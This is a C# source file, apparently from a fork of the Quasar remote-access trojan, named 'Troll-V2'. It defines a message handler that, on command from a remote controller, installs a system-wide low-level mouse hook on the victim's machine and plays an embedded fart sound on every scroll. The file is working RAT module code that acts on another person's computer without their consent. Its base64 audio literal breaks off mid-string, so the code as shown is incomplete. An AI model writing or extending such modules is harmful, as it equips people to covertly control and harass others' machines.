Files
Troll-V2/Quasar.Client/Messages/FartScrollHandler.cs
T

160 lines
91 KiB
C#
Raw Normal View History

2026-08-27 11:22:16 -06:00
using Quasar.Common.Messages;
using Quasar.Common.Networking;
using System;
using System.Runtime.InteropServices;
using System.Threading;
namespace Quasar.Client.Messages
{
public class FartScrollHandler : IMessageProcessor, IDisposable
{
// ── Low-level mouse hook ─────────────────────────────────────────────
private delegate IntPtr LowLevelMouseProc(int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")] static extern IntPtr SetWindowsHookEx(int idHook, LowLevelMouseProc fn, IntPtr hMod, uint threadId);
[DllImport("user32.dll")] static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll")] static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")] static extern bool GetMessage(out MSG msg, IntPtr hWnd, uint min, uint max);
[DllImport("user32.dll")] static extern bool TranslateMessage(ref MSG msg);
[DllImport("user32.dll")] static extern IntPtr DispatchMessage(ref MSG msg);
[DllImport("user32.dll")] static extern bool PostThreadMessage(int threadId, uint msg, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll")] static extern int GetCurrentThreadId();
[DllImport("kernel32.dll")] static extern IntPtr GetModuleHandle(string name);
[StructLayout(LayoutKind.Sequential)]
struct MSG { public IntPtr hwnd; public uint message; public IntPtr wParam, lParam; public uint time; public int x, y; }
const int WH_MOUSE_LL = 14;
const int WM_MOUSEWHEEL = 0x020A;
const uint WM_QUIT = 0x0012;
// ── waveOut P/Invoke ─────────────────────────────────────────────────
[StructLayout(LayoutKind.Sequential)]
struct WAVEFORMATEX { public ushort wFormatTag, nChannels; public uint nSamplesPerSec, nAvgBytesPerSec; public ushort nBlockAlign, wBitsPerSample, cbSize; }
[StructLayout(LayoutKind.Sequential)]
struct WAVEHDR { public IntPtr lpData; public uint dwBufferLength, dwBytesRecorded; public IntPtr dwUser; public uint dwFlags, dwLoops; public IntPtr lpNext, reserved; }
[DllImport("winmm.dll")] static extern uint waveOutOpen(out IntPtr h, uint dev, ref WAVEFORMATEX fmt, IntPtr cb, IntPtr inst, uint flags);
[DllImport("winmm.dll")] static extern uint waveOutPrepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
[DllImport("winmm.dll")] static extern uint waveOutWrite(IntPtr h, ref WAVEHDR hdr, uint sz);
[DllImport("winmm.dll")] static extern uint waveOutUnprepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
[DllImport("winmm.dll")] static extern uint waveOutClose(IntPtr h);
const uint WAVE_MAPPER = 0xFFFFFFFF;
// Embedded fart PCM — 2 ch, 16-bit, 48000 Hz
private static readonly byte[] FartPcm = Convert.FromBase64String(
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAAAAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAAAAD//wAAAAAAAAAAAAD//wAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//wAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAAAAAAAAD//wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AAAAAAAAAAD///////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AAD//wAAAAAAAAAAAAAAAAAAAAAAAAAA//8AAP//AAD//wAAAAD//wAA//8AAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAAEAAAAAAAAAAAD//wAAAAD//wAA////////////////AAD//wAA/////////////wAAAAAAAAAAAAD//wAAAAAAAAAA//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////8AAAAAAAAAAAAA//8AAAAAAAAAAAAA//8AAP//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAP//AAD//wAAAAAAAP//AAAAAAEAAAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAD//wAA/v8AAP//AAAAAP////////////8AAAAAAAAAAAAA/////wAAAAAAAAAAAAAAAAEAAAABAAAAAQAAAAEAAQACAAIAAgABAAEAAQABAAAAAAAAAAEAAgACAAIAAQAAAAEAAAAAAP//////////AAD//////////wAAAQABAAEAAQABAAEAAQAAAAAAAAAAAAEAAgACAAIABAADAAQAAwABAAEAAAAAAAAAAAD///////8AAAAAAQABAAIAAQABAAAAAAD+//7//v/+/wAAAAACAAEAAgACAAIAAgAAAAEAAAABAAEAAQAAAAAAAAAAAP//AAD/////AAD//wAAAAD+//7//f/+//7//v////////////////8AAAAAAQABAAEAAAAAAAAA//////7//v////7/AQAAAAIAAQACAAIAAQABAP/////+/////////wAAAAACAAEAAwACAAIAAgADAAIAAwADAAIAAgABAAIAAAAAAAAAAAAAAAAAAAAAAP///////////v/+//3//v/+/////v/+//3//f/8//3//f/9//7//f////////////////8AAAEAAAABAAAAAQAAAAEAAAAAAAAAAAACAAIAAgACAAMAAgACAAIAAAABAAAAAAAAAAAAAAD//wAA//8AAAAAAQABAAIAAgACAAIA//8AAP3//v//////AAAAAAAAAAABAAAAAQABAAEAAgABAAIAAQABAAEAAQAAAAEAAAAAAAEAAQACAAIAAwADAAMAAgABAAEAAAAAAAAAAAABAAEAAQABAAEAAAD//////////wAAAAAAAAAAAQAAAAEAAAAAAAAAAAABAAEAAQABAAEAAgABAAEAAQD+/wAA/f/+//7//v////7//////wAAAQAAAAEAAAAAAP7//v/8//3//P/9//7//v//////AAABAP//AAD//////////////////////////////////wAAAAAAAP//AAD//wAAAAABAAAAAQABAAIAAgADAAEAAgAAAAAAAAAAAAAAAAAAAAAAAgABAAIAAgACAAAAAQAAAAEAAAACAAEAAgABAAEAAAABAAAAAAABAAAAAQAAAAAAAAD//wAA//8AAAAAAQABAAMAAwADAAMAAAAAAP7//v/8//3//f/9//7//v//////AAD//wAAAAD//////P/8//v//P/8//3//v/+/wAA//8AAAAA//////7//////wAAAAAAAAAAAAAAAAAA//////7//v/+//7//v/+///////+/////f/9//7//f/+//////8AAAEAAQABAAAAAAAAAAAAAAD//////////wAAAAABAAEAAgACAAIAAgABAAIAAQACAAEAAQD//////v/9/////v8AAAAAAQABAAEAAQAAAAAA//////////////7//v//////AAAAAAAAAgABAAIAAwADAAMABAADAAMAAgADAAIAAgACAAMAAgAEAAIAAwACAAIAAwACAAIAAQABAAAAAAD///7//v/9//3//f/9//3//f/8//v/+//7//v//f/8//7//f/9//7//P/9//v//P/8//z//v/9////AAABAAIAAQADAAIAAwADAAQAAgADAAAAAQD+//7////+/wEAAQAEAAQABQAFAAMAAwAAAAEA/v////////8AAAAAAQABAAMAAgAEAAMAAwADAAIAAgD//wAA/v/+//7//f/+/////v////3//v/8//3//P/9//3//f/+//7//f/9//7//f//////AgADAAUABQAEAAQAAQABAP3//f/8//z//v/+/wAAAAABAAAAAAD///7//f/8//z/+//6//v/+v/8//v///8AAAMAAwAEAAQAAwAEAAEAAQABAAAAAgACAAMAAwAEAAMAAgACAAAAAQAAAAAAAAD//////v/+//7//v/+////AAABAAEAAQABAAAAAAD/////AAAAAAMAAwAFAAQABQAFAAQABAAEAAMABAADAAMABAADAAMAAwABAAMAAgAEAAQABQAFAAQABAABAAIAAAAAAAAAAAAAAAAAAQABAAAAAQAAAAEAAQABAAEAAQAAAAEAAAAAAAAAAQACAAMABAAEAAMAAwABAAEA/////wAA//8CAAEABAADAAQAAwACAAEAAAAAAAEAAQACAAIAAgADAAIAAgABAAAAAQAAAAEAAQACAAEAAgABAAEAAQABAAIAAQABAAAAAAD+/////v///wAAAAACAAIAAwAEAAQAAwADAAIAAwADAAUABQAHAAYABg
// ── State ────────────────────────────────────────────────────────────
private Thread _hookThread;
private int _hookThreadId;
private IntPtr _hookHandle = IntPtr.Zero;
private LowLevelMouseProc _proc;
private readonly ManualResetEvent _ready = new ManualResetEvent(false);
// ── IMessageProcessor ────────────────────────────────────────────────
public bool CanExecute(IMessage message) => message is DoStartFartScroll || message is DoStopFartScroll;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
if (message is DoStartFartScroll) Start();
else if (message is DoStopFartScroll) Stop();
}
// ── Hook lifecycle ───────────────────────────────────────────────────
private void Start()
{
if (_hookHandle != IntPtr.Zero) return;
_proc = HookCallback;
_ready.Reset();
_hookThread = new Thread(() =>
{
_hookThreadId = GetCurrentThreadId();
using (var proc = System.Diagnostics.Process.GetCurrentProcess())
using (var mod = proc.MainModule)
_hookHandle = SetWindowsHookEx(WH_MOUSE_LL, _proc, GetModuleHandle(mod.ModuleName), 0);
_ready.Set();
MSG msg;
while (GetMessage(out msg, IntPtr.Zero, 0, 0))
{
TranslateMessage(ref msg);
DispatchMessage(ref msg);
}
UnhookWindowsHookEx(_hookHandle);
_hookHandle = IntPtr.Zero;
}) { IsBackground = true };
_hookThread.Start();
_ready.WaitOne();
}
private void Stop()
{
if (_hookThreadId != 0)
PostThreadMessage(_hookThreadId, WM_QUIT, IntPtr.Zero, IntPtr.Zero);
}
private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam.ToInt32() == WM_MOUSEWHEEL)
ThreadPool.QueueUserWorkItem(_ => PlayFart());
return CallNextHookEx(_hookHandle, nCode, wParam, lParam);
}
// ── Fart playback ────────────────────────────────────────────────────
private void PlayFart()
{
try
{
var fmt = new WAVEFORMATEX
{
wFormatTag = 1,
nChannels = 2,
nSamplesPerSec = 48000,
wBitsPerSample = 16,
nBlockAlign = 4,
nAvgBytesPerSec = 192000
};
IntPtr hWave;
if (waveOutOpen(out hWave, WAVE_MAPPER, ref fmt, IntPtr.Zero, IntPtr.Zero, 0) != 0) return;
GCHandle pin = GCHandle.Alloc(FartPcm, GCHandleType.Pinned);
try
{
uint hdrSz = (uint)Marshal.SizeOf(typeof(WAVEHDR));
var hdr = new WAVEHDR { lpData = pin.AddrOfPinnedObject(), dwBufferLength = (uint)FartPcm.Length };
waveOutPrepareHeader(hWave, ref hdr, hdrSz);
waveOutWrite(hWave, ref hdr, hdrSz);
Thread.Sleep(536);
waveOutUnprepareHeader(hWave, ref hdr, hdrSz);
}
finally
{
pin.Free();
waveOutClose(hWave);
}
}
catch { }
}
public void Dispose() => Stop();
}
}